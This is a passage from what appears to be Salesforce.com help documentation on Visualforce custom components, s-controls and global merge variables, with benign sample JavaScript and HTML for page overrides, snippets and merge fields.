This is your new Component: mynewcomponent
<!-- End Default Content REMOVE THIS -->
</apex:component>

You can modify this definition in the Setup area by clicking Setup ➤ Develop ➤ Components and then clicking
Edit next to the myNewComponent custom component.

See Also:
What is a Custom Component?
Managing Custom Components
Viewing and Editing Custom Components
Managing Version Settings for Custom Components
Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone, edit, delete, or set versions for custom components: “Customize Application”

To aid backwards-compatibility, each Visualforce component is saved with version settings for the specified version of the
API as well as the specific version of Visualforce. If the Visualforce component references installed managed packages, the
version settings for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce,
the API, and the components in managed packages evolve in subsequent versions, a component is still bound to versions with
specific, known behavior.

1618
Develop Defining Custom Components

The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor
numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch
release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com.
Note: Package components and custom component are distinct concepts. A package is comprised of many components,
such as custom objects, Apex classes and triggers, and custom components.

Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent
package versions without breaking existing customer integrations using the package.
To set the Salesforce.com API and Visualforce version for a custom component:

1. Edit a custom component and click Version Settings.


Note: You can only access the version settings for a custom component if you edit a custom component by clicking
Setup ➤ Develop ➤ Components. You cannot access them if you edit a custom component using Developer
Mode.

2. Select the Version of the Salesforce.com API. This is also the version of Visualforce used with the custom component.
3. Click Save.

To configure the package version settings for a custom component:

1. Edit a custom component and click Version Settings.


2. Select a Version for each managed package referenced by the custom component. This version of the managed package
will continue to be used by the custom component if later versions of the managed package are installed, unless you manually
update the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the page
or component.
3. Click Save.

Note the following when working with package version settings:

• If you save a custom component that references a managed package without specifying a version of the managed package,
the custom component is associated with the latest installed version of the managed package by default.
• You cannot Remove a custom component's version setting for a managed package if the package is referenced by the
custom component. Use Show Dependencies to find where the managed package is referenced.

See Also:
What is a Custom Component?
Managing Custom Components
Viewing and Editing Custom Components
Managing Packages
About Package Versions
Developer's Guide: Visualforce Developer's Guide

1619
Develop Managing Custom Components

Managing Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom components: “Customize Application”

After creating custom components, you can view, edit and delete them. Click Setup ➤ Develop ➤ Components to display
the Components list page, which shows the list of custom components defined for your organization. From this page you can:

• Click New to define a new custom component.


• Click a custom component name to display detailed information about the component.
• Click Edit to modify a component's name or markup.

Note: A icon indicates that a Visualforce custom component is in an installed managed package. You cannot
edit or delete a Visualforce custom component in a managed package. A icon indicates that a Visualforce custom
component in a previously released managed package will be deleted on the next package upload. You can choose
to undelete the Visualforce custom component through the package detail page.

• Click Del to remove a custom component from your organization.

Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if your profile does not have customize application permissions, the namespace prefix field is not displayed
for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering
a Namespace Prefix on page 1496.

See Also:
What is a Custom Component?
Defining Custom Components
Viewing and Editing Custom Components
Developer's Guide: Visualforce Developer's Guide

1620
Develop Viewing and Editing Custom Components

Viewing and Editing Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone, edit, delete, or set versions for custom components: “Customize Application”

Click Setup ➤ Develop ➤ Components and click the name of a custom component to view its definition.
From the detail page, you can do any of the following:

• Click Edit to edit the custom component.


• Click Delete to delete the custom component.
• Click Clone to create a copy of the custom component. You must specify a new name for the new component.
• Click Where is this used? to view a list of all references to the custom component in your organization.
• Click Show Dependencies to display the items, such as another competent, permission, or preference, that must exist for
this custom component to be valid. For more information, see Understanding Dependencies on page 1513.

To aid backwards-compatibility, custom components are stored with the version settings for a specified version of Visualforce
and the API. If the page references package components, such as a custom object, in an installed managed package, the version
settings for each managed package referenced by the custom component are saved too.
Once your component has been created, you can view it at
http://mySalesforceInstance/apexcomponent/nameOfNewComponent, where the value of mySalesforceInstance
is the host name of your Salesforce.com instance (for example, na3.salesforce.com) and the value of nameOfNewComponent
is the value of the Name field on the custom component definition.
The component is displayed as if it is a Visualforce page. Consequently, if your component relies on attributes or on the content
of the component tag's body, this URL may generate results that you do not expect. To more accurately test a custom component,
add it to a Visualforce page and then view the page.

See Also:
What is a Custom Component?
Defining Custom Components
Managing Custom Components
Managing Version Settings for Custom Components
Developer's Guide: Visualforce Developer's Guide

1621
Develop Defining Custom S-Controls

Defining Custom S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls: “Customize Application”

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

The custom s-control library is a place where you can store and upload content for use in many areas within Salesforce.com
such as: custom links, Web tabs, custom buttons, and dashboards. S-controls provide a flexible, open means of extending the
Salesforce.com user interface, including the ability to create and display your own custom data forms.
An s-control can contain any type of content that you can display or run in a browser, for example, a Java applet, an ActiveX
control, an Excel file, or a custom HTML Web form.
To define an s-control:

1. Click Setup ➤ Develop ➤ S-Controls.


2. Click New Custom S-Control, or click Edit to change an existing custom s-control.
3. Enter the following attributes:

Attribute Name Description


Label The text that displays on page layouts for embedded s-controls.
S-Control Name The unique name for the s-control. This name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must begin with a letter, not include
spaces, not end with an underscore, and not contain two consecutive underscores.
Type Determines how you plan to use the s-control:
HTML
Select this option if you want to enter the content for your s-control in the Content
area.
URL
Select this option if you want to enter the link or URL of an external website in the
Content area.

Snippet
Snippets are s-controls that are designed to be included in other s-controls. Select this
option if you want to enter the content for your s-control snippet in the Content area.
For common uses of snippets, see Useful S-Controls on page 1629.

Description Text that describes the s-control. This only displays to administrators.

1622
Develop Defining Custom S-Controls

Attribute Name Description


Content Enter the content or source for your s-control. You can enter up to 1 million characters in
this field. The HTML code defines exactly how your users should view the custom s-control.
• If you are building a formula in the Advanced Formula tab or for approvals or rules, such
as workflow, validation, assignment, auto-response, or escalation, click Insert Field,
choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple
Formula tab, choose the field type in the Select Field Type drop-down list, and
choose one of the fields listed in the Insert Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge
fields on those objects.

• To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 931.
• To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions
drop-down list. Select a function and click Help on this function to view a description
and examples of formulas using that function.
• To reference a file that you uploaded in the Filename field as part of the custom s-control,
select Custom S-Control from the Select Field Type drop-down list, and choose
Custom S-Control URL to get the merge field for it. For a Java applet, you can also use
the {!Scontrol_JavaCodebase} merge field and the {!Scontrol_JavaArchive}
merge field.
• To insert activity merge fields, select “Event” or “Task” from the Select Field Type
drop-down list.

Tip: Internet standards require special encoding for URLs. Salesforce.com


automatically encodes the text from any merge field you insert into a link. Encode
any additional text in your link manually. For example, to generate the following
URL:

http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:

http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce.com automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.

1623
Develop Defining Custom S-Controls

Attribute Name Description


Filename Upload a file to display when you add this custom s-control to a custom link. The file can
contain a Java applet, Active-X control, or any other type of content you want. This option
only applies to HTML s-controls.
Prebuild In Page This option keeps the s-control in memory, which may improve performance when the page
is reloaded because the s-control does not have to be reloaded as well. This option only applies
to HTML s-controls.
Encoding The default encoding setting is Unicode (UTF-8). Change it if you are passing information
to a URL that requires data in a different format. This option is available when you select
URL for the Type.

4. Optionally, click Check Syntax to validate all Salesforce.com merge fields and functions.
5. Click Save when you are finished. Alternatively, click Quick Save to save and continue editing.
Note: If you have a namespace prefix and your s-control references merge fields without their namespace prefix,
Salesforce.com automatically prepends them with the your namespace prefix.

6. Create a custom button or link to display the custom s-control to your users. See Defining Custom Buttons and Links on
page 990. Alternatively, create a Web tab using the custom s-control, add the s-control to a page layout, or add the s-control
to a dashboard. You can also use an s-control as online help content for a custom object. For instructions on creating
object-level help, see Defining Object-Level Help on page 1255.

See Also:
Useful S-Controls
Tips on Building S-Controls
Understanding Global Variables
Viewing and Editing S-Controls
Deleting Custom S-Controls
About S-Controls
Documentation Resources for Force.com Developers

About S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

Use s-controls to add your own functionality to your Salesforce.com organization. Whether you are integrating a hosted
application of your own or are extending your current Salesforce.com user interface, use s-controls to store your code or refer
to code elsewhere.

1624
Develop Defining Custom S-Controls

Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X
control, an Excel file, or a custom HTML Web form.
S-controls have the following attributes:

Attribute Name Description


Label The text that displays on page layouts for embedded s-controls.
S-Control Name The unique name for the s-control. This name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must begin with a letter, not include
spaces, not end with an underscore, and not contain two consecutive underscores.
Type Determines how you plan to use the s-control:
HTML
Select this option if you want to enter the content for your s-control in the Content area.
URL
Select this option if you want to enter the link or URL of an external website in the
Content area.

Snippet
Snippets are s-controls that are designed to be included in other s-controls. Select this
option if you want to enter the content for your s-control snippet in the Content area.
For common uses of snippets, see Useful S-Controls on page 1629.

Description Text that describes the s-control. This only displays to administrators.
Content Enter the content or source for your s-control. You can enter up to 1 million characters in this
field. The HTML code defines exactly how your users should view the custom s-control.
• If you are building a formula in the Advanced Formula tab or for approvals or rules, such
as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose
a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula
tab, choose the field type in the Select Field Type drop-down list, and choose one of
the fields listed in the Insert Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge fields
on those objects.

• To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 931.
• To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions drop-down
list. Select a function and click Help on this function to view a description and examples
of formulas using that function.
• To reference a file that you uploaded in the Filename field as part of the custom s-control,
select Custom S-Control from the Select Field Type drop-down list, and choose
Custom S-Control URL to get the merge field for it. For a Java applet, you can also use the

1625
Develop Defining Custom S-Controls

Attribute Name Description


{!Scontrol_JavaCodebase} merge field and the {!Scontrol_JavaArchive} merge
field.
• To insert activity merge fields, select “Event” or “Task” from the Select Field Type
drop-down list.

Tip: Internet standards require special encoding for URLs. Salesforce.com


automatically encodes the text from any merge field you insert into a link. Encode
any additional text in your link manually. For example, to generate the following
URL:

http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:

http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce.com automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.

Filename Upload a file to display when you add this custom s-control to a custom link. The file can contain
a Java applet, Active-X control, or any other type of content you want. This option only applies
to HTML s-controls.
Prebuild In Page This option keeps the s-control in memory, which may improve performance when the page is
reloaded because the s-control does not have to be reloaded as well. This option only applies to
HTML s-controls.
Encoding The default encoding setting is Unicode (UTF-8). Change it if you are passing information to
a URL that requires data in a different format. This option is available when you select URL
for the Type.

See Also:
Useful S-Controls
Defining Custom S-Controls
Documentation Resources for Force.com Developers

Considerations for S-Controls in Force.com AppExchange Packages


If you are developing Force.com AppExchange packages with s-controls or are planning to install a AppExchange package
with s-controls, you should be aware of the following limitations:

1626
Develop Defining Custom S-Controls

• For packages you are developing (that is, not installed from AppExchange), you can only add s-controls to packages with
the default Unrestricted API access. Once a package has an s-control, you cannot enable Restricted API access.
• For packages you have installed, you can enable access restrictions even if the package contains s-controls. However, access
restrictions provide only limited protection for s-controls. Salesforce.com recommends that you understand the JavaScript
in an s-control before relying on access restriction for s-control security.
• If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not
contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package
to Unrestricted API access.

S-Control Terminology
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

The following terminology is used for custom s-controls in Salesforce.com:


Advanced Function
A formula function designed for use in custom buttons, links, and s-controls. For example, the INCLUDE advanced
function returns the content from an s-control snippet. For more details on advanced functions, see Operators and
Functions on page 931.

Global Variable
A special merge field that you can use to reference data in your organization. For more information, see Understanding
Global Variables on page 1636.

S-Control

Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display
in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.

Snippet
A type of s-control that is designed to be included in other s-controls. Similar to a helper method that is used by other
methods in a piece of code, a snippet allows you to maintain a single copy of HTML or JavaScript that you can reuse
in multiple s-controls. For common uses of snippets, see Useful S-Controls on page 1629.

1627
Develop Defining Custom S-Controls

Viewing and Editing S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls: “Customize Application”

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

To view the details of a custom s-control, click Setup ➤ Develop ➤ S-Controls and select the s-control name. For a description
of the s-control attributes, see About S-Controls on page 1624.

• To make changes to an s-control, click Edit. For more information, see Defining Custom S-Controls on page 1622.
• To remove an s-control, click Del. For more information, see Deleting Custom S-Controls on page 1628.
• To view a list of other components in Salesforce.com that reference the s-control, click Where is this used?. For more
information, see Viewing References to Salesforce.com Components on page 999.

See Also:
Useful S-Controls
Tips on Building S-Controls
About S-Controls
Documentation Resources for Force.com Developers

Deleting Custom S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls: “Customize Application”

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

Salesforce.com empowers you to reference s-controls in many different areas within the application. Before deleting a custom
s-control, check where it is used.
To delete a custom s-control:

1628
Develop Defining Custom S-Controls

1. Click Setup ➤ Develop ➤ S-Controls.


2. Click Del next to the custom s-control you want to delete.
3. Click OK to confirm.

Note: You cannot delete a custom s-control that is used elsewhere in Salesforce.com. Deleted s-controls do not go
into the Recycle Bin.

See Also:
Downloading Salesforce.com WSDLs and Client Authentication Certificates
Setting Custom Buttons and Links
Defining Custom S-Controls
Useful S-Controls
Tips on Building S-Controls

Useful S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom buttons and links are available in: All Editions


S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Overriding standard buttons and tab home pages is available in: Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

Use the following samples to get started using s-controls:

• S-Controls for Detail Pages


• S-Controls that Override Standard Buttons and Tab Home Pages
• S-Controls that Include Snippets

See Also:
Defining Custom S-Controls
Tips on Building S-Controls
Understanding Global Variables
About S-Controls
Overriding Standard Buttons and Tab Home Pages
Documentation Resources for Force.com Developers

1629
Develop Defining Custom S-Controls

S-Controls for Detail Pages

Yahoo Map
Use the Yahoo Map API and the billing address merge fields to display a map for an account. Use the following code in an
HTML s-control and add it to your account detail page layout:

<html>
<head>
<script type="text/javascript"
src="http://api.maps.yahoo.com/ajaxymap?v=3.0&appid=YahooDemo">
</script>
<style type="text/css">
#mapContainer {
height: 200px;
width: 100%;
}
</style>
</head>
<body>
<div id="mapContainer"></div>
<script type="text/javascript">
// Create a map object
var map = new YMap(document.getElementById('mapContainer'));
// Display the map centered on given address
map.drawZoomAndCenter("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);
// Set marker at that address
map.addMarker("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);
</script>
</body>
</html>

S-Controls that Override Standard Buttons and Tab Home Pages

Add Product Override


You may have your own code that you prefer to use for adding products to opportunities instead of the standard page. Use
the s-control sample below to pass data values using merge fields from a record detail page into a custom s-control that overrides
the Add Product button on the Products related list of an opportunity. This type of override illustrates how related list buttons
can contain merge fields from the master object as well as the detail. For example, the code below contains opportunity merge
fields, which is on the master side of a master-detail relationship with opportunity products.

<html>
<head>
<script type="text/javascript"
src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Opportunity Info:</b>
<br>
Opportunity ID: {!Opportunity.Id}

1630
Develop Defining Custom S-Controls

<br>
Opportunity Name: {!Opportunity.Name}
<br>
Opportunity Record Type: {!Opportunity.RecordType}
<br>
</body>
</html>

To implement this functionality, create an HTML s-control with the content above inserting your code in the space provided.
Then, override the add product action from the opportunity products object using the s-control. This example assumes you
have record types on opportunities.
Note: This example does not include the code to add products. The content in the body section simply illustrates
how to use opportunity merge fields from the opportunity products related list. Replace the body section with your
code.

Conditional Override for Editing Leads


You can override a standard action conditionally, redirecting to a standard action or custom s-control depending on certain
conditions. For example, you may want to use a separate s-control to edit leads when they have been open longer than 30 days.
Using the following example, create an s-control to evaluate if a lead has been open longer than 30 days and, if so, run your
custom s-control to edit leads. Otherwise, use the standard lead edit action.

<script type="text/javascript">

//determine if the lead has been open longer than 30 days


if ({!IF(ISPICKVAL( Lead.Status , "Open"), ROUND(NOW()- Lead.CreatedDate , 0), 0)} > 30)
{
//more than 30 days - display a custom scontrol page
window.location.href="{!URLFOR($SControl.EditLeadsOpenLongerThan30)}";
}
else
{
//30 days or less - display the standard edit page
window.parent.location.href="{!URLFOR($Action.Lead.Edit, Lead.Id,
[retURL=URLFOR($Action.Lead.View, Lead.Id)], true)}";
}

</script>

To implement this in your organization, create the s-control that you want to use to edit leads that have been open longer
than 30 days. Name this s-control EditLeadsOpenLongerThan30. Next, create an s-control using the example code above to
determine if a lead has been open longer than 30 days, and, if so, override the edit action on leads using the
EditLeadsOpenLongerThan30 s-control.
Note the differences between the first and second if statements in the example code above. The first one is a JavaScript if
statement that evaluates on the browser. The second is the Salesforce.com IF function that evaluates on the server and returns
a single value—the number of days the lead has been open, or zero if the lead is not open.
Tip: Use the URLFOR function in this example to build Salesforce.com URLs rather than specifying individual
URLs to ensure they are supported across releases.
To display a standard Salesforce.com page without invoking the override, set the no override argument in the
URLFOR function to “true.”
Also, use the retURL parameter in your URLFOR function to return the user to the detail page after saving.

1631
Develop Defining Custom S-Controls

Edit Contact Override


You may have your own code that you prefer to use for editing contacts. Use the s-control sample below to pass data values
using merge fields from a record detail page into a custom s-control that overrides a standard detail page button.

<html>
<head>
<script type="text/javascript" src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Contact Info:</b>
<br>
Contact ID: {!Contact.Id}
<br>
Contact Name: {!Contact.FirstName} {!Contact.LastName}
<br>
</body>
</html>

To implement this functionality, create an HTML s-control with the content above inserting your code in the body section.
Then, override the edit contact action using the s-control. This overrides the edit contact action everywhere it is available: the
Edit button on a contact detail page, the Edit link on list views, and the Edit link on any related lists.
Note: This example does not include the code to edit contacts. The code within the body section only illustrates how
to use contact merge fields to display information about the contact. Replace the body section with your code.

Interrupt Override for New Accounts


Overriding standard buttons makes them unavailable in your entire Salesforce.com organization. However, you can override
a standard action and redirect to that action from your s-control without getting into an infinite loop. For example, you can
override the New button on accounts, perform your own custom process, and resume with the standard new account action
without getting into an infinite loop. To do this, use the no override argument in the URLFOR function.

<script type="text/javascript">

alert("Hi, I am demonstrating how to interrupt New Account with an override. Click OK to


continue.");

window.parent.location.href="{! URLFOR($Action.Account.New, null, null, true)}";

</script>

To implement this s-control, create an HTML s-control with the content above. Then, override the new account action using
the s-control.
Note: The new action does not require an ID, which is why the second argument in the URLFOR function is set to
null. This example does not require any inputs, which is why the third argument in the URLFOR function is set to
null. The fourth argument in the URLFOR function is set to true to ignore the override, avoiding an infinite loop.

Close Case Page Override


Validation rules are a useful way of validating data on a record before saving it. However, you may want to validate the data
associated with a record. Use an s-control like the one below to ensure that a case is associated with at least one solution before
users are allowed to close it:

<html>
<head>

1632
Develop Defining Custom S-Controls

<script src="/soap/ajax/13.0/connection.js">
</script>
<script>
function init()
{
var queryResult = sforce.connection.query("Select count() from CaseSolution Where CaseId =
'{!Case.Id}'");
var size = queryResult.size;
if (size > 0) {
//go to the standard case close page without invoking the override
window.parent.location.href = "{!URLFOR($Action.Case.CloseCase, Case.Id,
[retURL=URLFOR($Action.Case.View, Case.Id)], true)}"
}
else
{
alert("Case must contain at least one solution before it can be closed.");
//go to the standard case detail page
this.parent.location.href = "{!URLFOR($Action.Case.View, Case.Id)}";
}
}
</script>
</head>
<body onload="init()">
<p>&nbsp;</p>
</body>
</html>

To implement this functionality, create an HTML s-control with the content above. Then, override the close case action
using the s-control. The s-control displays a message to users when they click Close Case on a case with no associated solutions.
If the case is associated with at least one solution, the standard close case page displays as usual. This override does not apply
to records updated using the API.
Tip: Use the URLFOR function in this example to build Salesforce.com URLs rather than specifying individual
URLs to ensure they are supported across releases.
To display a standard Salesforce.com page without invoking the override, set the no override argument in the
URLFOR function to “true.”
Also, use the retURL parameter in your URLFOR function to return the user to the detail page after saving.

For more information on using this function, see URLFOR on page 982.

Conditional Accounts Tab Home Page Override


You can override a tab home page conditionally, redirecting the original tab home page to an s-control depending on certain
conditions. For example, you may want to display an s-control, instead of the standard Accounts tab home page, to users with
a specific profile. Using the following sample code, create an s-control to display job applicant information to users with the
Recruiter profile when they click the Accounts tab; for all other users, display the standard Accounts tab home page.
To implement this, first create an s-control called “ApplicantHomePage” that contains the content to display to recruiters.
Next create an s-control of type HTML using the following code to implement the conditional override logic:

<script type="text/javascript">
//determine the user profile name
var recruiter = {!IF($Profile.Name = "Recruiter", true, false)};

//when the profile is recruiter - display a custom s-control page


if (recruiter) {
window.parent.location.href="{! urlFor($SControl.ApplicantHomePage)}";
} else {
//when the profile is not recruiter - display the standard Accounts tab page
window.parent.location.href="{! urlFor( $Action.Account.Tab ,
$ObjectType.Account,null,true)}";

1633
Develop Defining Custom S-Controls

}
</script>

Finally, override the Accounts tab to use the HTML s-control shown here. This example assumes that a profile named
“Recruiter” exists in your organization.
Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

S-Controls that Include Snippets

Including Snippets
Include snippets in your custom s-controls to reuse common code. The following example references a snippet that provides
a header for a page that displays in a web tab. The page will have the title “My Title.” Use the $SControl global variable to
reference a snippet. To implement this, create two snippets called “Resize_Iframe_head” and “Resize_Iframe_onload” and
create an HTML s-control called “Resize_Iframe_sample” that includes the following code:

<html>
<body>
{! INCLUDE($SControl.Header_Snippet,
[title = "My Title", theme = "modern"])}
</body>
</html>

For more information on using this function, see INCLUDE on page 956.

Tips on Building S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls: “Customize Application”

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

Use the following tips when building s-controls:

• If you create a URL s-control, do not select Show Section Heading on Detail Page in the page layout section where you
put the s-control. This option in conjunction with collapsible sections causes some problems in certain browsers.
• Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example,
the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button.
• Use the {!$Organization.UISkin} merge field in your s-control to retrieve the User Interface Theme that the
organization has selected. The Theme1 value for this merge field represents the Salesforce.com Classic theme and Theme2
represents the Salesforce.com theme. To view this merge field in an example, see Useful S-Controls on page 1629.

1634
Develop Defining Custom S-Controls

• S-controls use the {! and } characters (previously used to surround merge fields in formulas) to enclose an expression, which
can include one or more merge fields, functions, or global variables.
• When overriding an action, use the no override argument to prevent a recursion, indicated by empty frames on the
page. For example, the following s-control overrides the case close action:

<html>
<head>
<script src="/soap/ajax/13.0/connection.js">
</script>
<script>
function init()
{
var queryResult = sforce.connection.query("Select count() from CaseSolution Where CaseId
= '{!Case.Id}'");
var size = queryResult.size;
if (size > 0) {
//go to the standard case close page without invoking the override
window.parent.location.href = "{!URLFOR($Action.Case.CloseCase, Case.Id,
[retURL=URLFOR($Action.Case.View, Case.Id)], true)}"
}
else
{
alert("Case must contain at least one solution before it can be closed.");
//go to the standard case detail page
this.parent.location.href = "{!URLFOR($Action.Case.View, Case.Id)}";
}
}
</script>
</head>
<body onload="init()">
<p>&nbsp;</p>
</body>
</html>

For more information on this example, see URLFOR on page 982.


• To insert activity merge fields, select “Event” or “Task” from the Select Field Type drop-down list.

See Also:
Defining Custom S-Controls
Useful S-Controls
Understanding Global Variables
About S-Controls
Documentation Resources for Force.com Developers

1635
Develop Defining Custom S-Controls

Understanding Global Variables


S-controls and formulas available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions
Custom buttons and links are available in: All Editions
Visualforce available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
$Profile global merge field type available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls, formulas, or “Customize Application”
Visualforce pages:

Components such as s-controls, custom buttons, custom links, formulas, and Visualforce pages allow you to use special merge
fields to reference the data in your organization. Use the following global variables when choosing a merge field type to add
to your custom component:

$Action
Description: A global merge field type to use when referencing standard
Salesforce.com actions such as displaying the Accounts tab
home page, creating new accounts, editing accounts, and
deleting accounts. Use action merge fields in LINKTO and
URLFOR functions to reference the action selected.
Use:
1. Select the field type: $Action.
2. Insert a merge field in the format
$Action.object.action, such as
$Action.Account.New.
Note: For a list of actions and their supported
objects, see Valid Values for the $Action Global
Variable on page 1652.

S-Control Example: The s-control below references the standard action for creating
new accounts in the $Action.Account.New merge field.

<html>
<body>
{!LINKTO("Create a New Account",
$Action.Account.New,
$ObjectType.Account)}
</body>
</html>

1636
Develop Defining Custom S-Controls

Visualforce Example: <apex:outputLink


value="{!URLFOR($Action.Account.New)}">Create
New Account</apex:outputLink>

Tips: This global variable is only available for custom buttons and
links, s-controls, and Visualforce pages.

$Api
Description: A global merge field type to use when referencing API URLs.
Use:
1. Select the field type: $Api.
2. Select a merge field, such as:
• $Api.Enterprise_Server_URL__xxx: The
Enterprise WSDL SOAP endpoint where xxx
represents the version of the API. For example,
$Api.Enterprise_Server_URL_140 is the merge
field value for version 14.0 of the API.
• $Api.Partner_Server_URL__xxx: The Partner
WSDL SOAP endpoint where xxx represents the
version of the API. $Api.Partner_Server_URL_120
is the merge field value for version 12.0 of the API.
• $Api.Session_ID: The session ID.

S-Control Example: The custom formula field below calls a service to replace the
SIC code. Replace myserver with the name of your server.

HYPERLINK("https://www.myserver.com/mypage.jsp"
&
"?Username=" & $User.Username &
"&crmSessionId=" & GETSESSIONID() &
"&crmServerUrl=" &
$Api.Partner_Server_URL_90 &
"&crmObjectId=" & Id &
"&crmFieldUpdate=sicCode",
"Update SIC Code")

Visualforce Example: Use dot notation to return the session ID.


{!$Api.Session_ID}

Tips: This global variable is only available for formula fields,


s-controls, custom buttons and links, and Visualforce pages.

$Component
Description: A global merge field type to use when referencing a Visualforce
component.

1637
Develop Defining Custom S-Controls

Use: Each component in a Visualforce page has its own id attribute.


When the page is rendered, this attribute is the same as the
Document Object Model (DOM) ID.Use $Component.Id
in JavaScript to reference a specific component on a page.
Visualforce Example: function beforeTextSave() {

document.getElementById('{!$component.msgpost}').value
= myEditor.getEditorHTML();
}

Tips: This global variable is only available for Visualforce pages.

$componentLabel
Description: A global merge field to use when referencing the label of an inputField component
on a Visualforce page that is associated with a message.
Use: Return the label of an inputField component that is associated with a message.
Visualforce Example: <apex:datalist var="mess" value="{!messages}">
<apex:outputText value="{!mess.componentLabel}:"
style="color:red/>
<apex:outputText value="{!mess.detail}" style="color:black"
/>
</apex:datalist>

Tips: This global variable is only available for Visualforce pages.

$CurrentPage
Description: A global merge field type to use when referencing the current Visualforce page.
Use: Use this expression in a Visualforce page to access the current page parameters and values, the current
page name ($CurrentPage.Name), or the URL of the current page ($CurrentPage.URL).
Visualforce Example: <apex:page standardController="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
You belong to the {!account.name} account.<br/>
You're also a nice person.
</apex:pageBlock>
<apex:detail subject="{!account}" relatedList="false"/>
<apex:relatedList list="OpenActivities"
subject="{!$CurrentPage.parameters.relatedId}"/>
</apex:page>

Tips: This global variable is only available for Visualforce pages.

$Label
Description: A global merge field type to use when referencing a custom
label in a Visualforce page.

